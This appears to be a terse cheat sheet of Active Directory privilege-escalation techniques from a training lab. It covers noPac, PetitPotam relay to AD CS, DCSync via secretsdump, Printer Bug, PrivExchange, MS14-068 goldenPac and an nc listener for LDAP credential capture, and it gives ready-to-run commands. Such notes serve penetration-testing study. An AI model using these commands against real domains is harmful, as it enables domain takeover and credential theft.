Allows a normal user to become Domain Admin in seconds: a computer account is created (allowed by default) and renamed to match a DC; when requesting Kerberos tickets, the system confuses it with the real DC.
Forces a DC to authenticate with NTLM; it is relayed to a Certificate Authority to obtain a certificate, which is used to request a TGT.
terminal
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController$ python3 PetitPotam.py 172.16.5.225 172.16.5.5# Con el certificado base64 del DC, obtener TGT y DCSync:$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <CERT_B64> dc01.ccache$ export KRB5CCNAME=dc01.ccachesecretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
Misconfigurations
Dangerous groups: Exchange Windows Permissions and Organization Management can grant DCSync. Get-DomainGroupMember -Identity "Exchange Windows Permissions"
PrivExchange: forced Exchange server authentication; relay to LDAP with ntlmrelayx.
Printer Bug (MS-RPRN): forces SMB authentication from the Spooler (SYSTEM). Get-SpoolStatus -ComputerName DC01.domain.local
MS14-068: forged PAC to elevate to Domain Admin. goldenPac.py dominio/usuario:contraseña@dc.dominio.local
LDAP Credential Capture: redirect LDAP to a listener. nc -lvp 389
adidnsdump: discovers hidden DNS records. adidnsdump -u dominio\\usuario ldap://ip.dc -r